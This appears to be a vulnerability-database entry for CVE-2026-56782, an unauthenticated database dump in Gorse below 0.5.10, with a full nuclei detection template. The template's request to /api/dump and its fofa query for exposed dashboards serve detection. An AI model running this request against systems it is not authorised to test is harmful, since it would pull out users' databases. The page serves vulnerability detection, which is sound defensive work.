HexBrain

Browse / CVEs / CVE-2026-56782

CVE-2026-56782· gorse-io / gorse· CWE-306

Gorse < 0.5.10 - Unauthenticated Database Dump

criticalseverity
9.8CVSS score
3.6%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

Gorse < 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.

Impact

Remote attackers can exfiltrate or overwrite the entire database including sensitive user data without authentication.

Fix

Update to version 0.5.10 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(tolower(body), "gorse")
Send: GET /api/dump
Positive when: status_code == 200 and contains(content_type, "application/octet-stream") and !contains(body, 'unauthorized')

Run it with nuclei: nuclei -id CVE-2026-56782 -u <target>

The full check
id: CVE-2026-56782

info:
  name: Gorse < 0.5.10 - Unauthenticated Database Dump
  author: 0x_Akoko
  severity: critical
  description: |
    Gorse < 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.
  impact: |
    Remote attackers can exfiltrate or overwrite the entire database including sensitive user data without authentication.
  remediation: |
    Update to version 0.5.10 or later.
  reference:
    - https://github.com/gorse-io/gorse/issues/1292
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56782
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56782
    epss-score: 0.03559
    epss-percentile: 0.89426
    cwe-id: CWE-306
  metadata:
    max-request: 2
    verified: true
    vendor: gorse-io
    product: gorse
    fofa-query: title="Gorse Dashboard"
  tags: cve,cve2026,gorse,unauth,exposure,misconfig

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(tolower(body), "gorse")
        condition: and
        internal: true

  - raw:
      - |
        GET /api/dump HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/octet-stream")
          - "!contains(body, 'unauthorized')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from